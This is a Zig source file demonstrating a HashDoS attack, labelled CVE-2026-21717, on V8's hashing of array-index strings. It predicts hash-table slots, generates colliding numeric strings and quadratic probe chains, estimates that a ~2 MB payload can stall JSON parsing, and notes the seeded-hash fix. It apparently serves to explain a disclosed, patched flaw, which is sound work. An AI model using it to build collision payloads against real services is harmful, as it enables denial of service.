README.md
Rendering markdown...
const std = @import("std");
/// Compute V8's deterministic hash for array index strings
/// Returns a 32-bit hash field where:
/// - bits 2-25: numeric value (24 bits)
/// - bits 26-31: string length (6 bits)
/// - bits 0-1: 0b00 (type marker kIntegerIndex)
fn computeV8Hash(value: u32, length: u32) u32 {
// V8 only treats numbers as array indices if they fit in 24 bits
std.debug.assert(value < (1 << 24));
std.debug.assert(length < (1 << 6));
// const raw_hash_field = (length << 24) | (value << 2) | 0b00;
// return raw_hash_field;
return (length << 24) | value;
}
/// Calculate the first probe slot in a hash table
/// V8 uses power-of-two capacities: slot = hash & (capacity - 1)
fn probeSlot(hash: u32, capacity: u32) u32 {
std.debug.assert(capacity > 0);
std.debug.assert((capacity & (capacity - 1)) == 0); // Must be power of two
return hash & (capacity - 1);
}
/// Parse a decimal string to u32 (simplified for demonstration)
fn parseDecimalString(s: []const u8) !u32 {
var value: u32 = 0;
for (s) |c| {
if (c < '0' or c > '9') return error.InvalidDigit;
value = value * 10 + (c - '0');
if (value >= (1 << 24)) return error.ValueTooLarge;
}
return value;
}
/// Guess the slot for a given numeric string
fn guessSlot(s: []const u8, capacity: u32) !u32 {
const value = try parseDecimalString(s);
const length = @as(u32, @intCast(s.len));
const hash = computeV8Hash(value, length);
const slot = probeSlot(hash, capacity);
return slot;
}
/// Find strings that collide on the same slot
fn findCollisions(allocator: std.mem.Allocator, target: []const u8, capacity: u32, max_collisions: usize) !void {
_ = allocator; // autofix
const target_value = try parseDecimalString(target);
const target_length = @as(u32, @intCast(target.len));
const target_hash = computeV8Hash(target_value, target_length);
const target_slot = probeSlot(target_hash, capacity);
const stdout = std.fs.File.stdout().deprecatedWriter();
try stdout.print("\n", .{});
try stdout.print("Target string: \"{s}\"\n", .{target});
try stdout.print("Length: {d}, Value: {d}\n", .{target_length, target_value});
try stdout.print("Raw hash field: 0x{X:0>8}\n", .{target_hash});
try stdout.print("First probe slot (capacity={d}): {d}\n", .{capacity, target_slot});
try stdout.print("\nColliding strings (same initial slot):\n", .{});
var collisions_found: usize = 0;
var offset: u32 = 1;
while (collisions_found < max_collisions and offset < 1000) : (offset += 1) {
// Colliding values: same lower bits, different higher bits
const colliding_value = target_value + (offset * capacity);
if (colliding_value >= (1 << 24)) break;
// Try different lengths (length bits also get masked for slot)
var len_try: u32 = target_length;
while (len_try <= target_length + 2 and len_try <= 10) : (len_try += 1) {
// Convert value to string with specific length
var buf: [16]u8 = undefined;
const s = try std.fmt.bufPrint(&buf, "{d}", .{colliding_value});
if (s.len != len_try) continue;
const hash = computeV8Hash(colliding_value, len_try);
const slot = probeSlot(hash, capacity);
if (slot == target_slot) {
try stdout.print(" \"{s}\" (hash=0x{X:0>8}, slot={d})\n", .{s, hash, slot});
collisions_found += 1;
}
}
}
}
/// Generate quadratic probing chain (as used in the attack)
fn quadraticProbeChain(start_value: u32, capacity: u32, chain_length: usize, allocator: std.mem.Allocator) ![]u32 {
var chain = try allocator.alloc(u32, chain_length);
errdefer allocator.free(chain);
var slot = start_value & (capacity - 1);
chain[0] = slot;
for (1..chain_length) |k| {
slot = (slot + @as(u32, @intCast(k))) & (capacity - 1);
chain[k] = slot;
}
return chain;
}
/// Demonstrate the full attack scenario from the blog
fn demonstrateAttack(allocator: std.mem.Allocator) !void {
const stdout = std.fs.File.stdout().deprecatedWriter();
try stdout.print("\n", .{});
try stdout.print("{s:=>60}\n", .{""});
try stdout.print("CVE-2026-21717 HashDoS Attack Simulation\n", .{});
try stdout.print("{s:=>60}\n", .{""});
// Parameters from the blog's PoC
const TARGET_VALUE: u32 = 1234;
const CAPACITY: u32 = 1 << 19; // 524,288
const CHAIN_LENGTH: usize = 1 << 17; // 131,072
const target_str = try std.fmt.allocPrint(allocator, "{d}", .{TARGET_VALUE});
defer allocator.free(target_str);
const target_hash = computeV8Hash(TARGET_VALUE, @intCast(target_str.len));
const target_slot = probeSlot(target_hash, CAPACITY);
try stdout.print("\n[1] Target: \"{s}\" -> hash 0x{X:0>8} -> slot {d}\n",
.{target_str, target_hash, target_slot});
try stdout.print("\n[2] Generating quadratic probe chain (length {d}):\n", .{CHAIN_LENGTH});
const chain = try quadraticProbeChain(TARGET_VALUE, CAPACITY, @min(20, CHAIN_LENGTH), allocator);
defer allocator.free(chain);
try stdout.print(" First 20 slots: ", .{});
for (chain[0..@min(20, chain.len)], 0..) |slot, i| {
if (i > 0) try stdout.print(", ", .{});
try stdout.print("{d}", .{slot});
}
try stdout.print("\n", .{});
try stdout.print("\n[3] Crafting colliding strings for probe slots:\n", .{});
for (chain[0..@min(10, chain.len)], 0..) |slot, i| {
_ = i; // autofix
var colliding_value = slot;
if (colliding_value == TARGET_VALUE) {
colliding_value += CAPACITY;
}
if (colliding_value < (1 << 24)) {
const s = try std.fmt.allocPrint(allocator, "{d}", .{colliding_value});
defer allocator.free(s);
try stdout.print(" Slot {d:>5} -> value {d:>7} -> \"{s}\"\n",
.{slot, colliding_value, s});
}
}
try stdout.print("\n[4] Attack payload size estimate:\n", .{});
try stdout.print(" Chain length: {d} distinct colliding strings\n", .{CHAIN_LENGTH});
try stdout.print(" ~2 MB payload can hang JSON parsing for ~30 seconds\n", .{});
try stdout.print("\n[5] Mitigation (post-patch):\n", .{});
try stdout.print(" V8 now uses seeded xorshift-multiply hash with 3 rounds\n", .{});
try stdout.print(" Attackers cannot predict slots without knowing random secrets\n", .{});
}
/// Interactive slot guesser
fn interactiveSlotGuesser(allocator: std.mem.Allocator) !void {
_ = allocator; // autofix
const stdin = std.fs.File.stdin().deprecatedReader();
const stdout = std.fs.File.stdout().deprecatedWriter();
try stdout.print("\n", .{});
try stdout.print("=== Interactive V8 Hash Slot Guesser ===\n", .{});
try stdout.print("Enter a numeric string (or 'quit' to exit):\n", .{});
var buffer: [256]u8 = undefined;
while (true) {
try stdout.print("\n> ", .{});
if (try stdin.readUntilDelimiterOrEof(&buffer, '\n')) |line| {
const input = std.mem.trim(u8, line, " \r\n");
if (std.mem.eql(u8, input, "quit") or std.mem.eql(u8, input, "exit")) {
break;
}
// Parse input: format "string capacity" or just "string"
var parts = std.mem.splitAny(u8, input, " ");
const num_str = parts.first();
// var capacity: u32 = 1 << 19; // default 524,288
var capacity: u32 = 32768; // default from blog example
if (parts.next()) |cap_str| {
capacity = try std.fmt.parseInt(u32, cap_str, 10);
if ((capacity & (capacity - 1)) != 0) {
try stdout.print("Warning: {d} is not a power of two, using next power of two\n", .{capacity});
capacity = std.math.pow(u32, 2, @as(u32, @intFromFloat(@ceil(std.math.log2(@as(f64, @floatFromInt(capacity)))))));
}
}
const slot = guessSlot(num_str, capacity) catch |err| {
try stdout.print("Error: {}\n", .{err});
continue;
};
const value = try parseDecimalString(num_str);
const length = @as(u32, @intCast(num_str.len));
const hash = computeV8Hash(value, length);
try stdout.print("\n", .{});
try stdout.print("String: \"{s}\"\n", .{num_str});
try stdout.print("Value: {d}\n", .{value});
try stdout.print("Length: {d}\n", .{length});
try stdout.print("Raw hash: 0x{X:0>8}\n", .{hash});
try stdout.print("Capacity: {d}\n", .{capacity});
try stdout.print("Slot: {d}\n", .{slot});
} else {
break;
}
}
}
pub fn main() !void {
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
defer _ = gpa.deinit();
const allocator = gpa.allocator();
const stdout = std.fs.File.stdout().deprecatedWriter();
// Example 1: Basic slot prediction
try stdout.print("Example 1: Predict slot for a single string\n", .{});
try stdout.print("{s:->60}\n", .{""});
const test_strings = [_][]const u8{ "1234", "999999", "16777215" };
const capacities = [_]u32{ 32768, 65536, 131072 };
for (test_strings) |s| {
for (capacities) |cap| {
const slot = try guessSlot(s, cap);
try stdout.print(" \"{s}\" -> capacity {d:>6} -> slot {d}\n", .{s, cap, slot});
}
}
// Example 2: Find collisions
try stdout.print("\n", .{});
try stdout.print("Example 2: Find colliding strings (same initial slot)\n", .{});
try stdout.print("{s:->60}\n", .{""});
try findCollisions(allocator, "1234", 32768, 8);
// Example 3: Full attack demonstration
try demonstrateAttack(allocator);
// Example 4: Interactive mode
try interactiveSlotGuesser(allocator);
}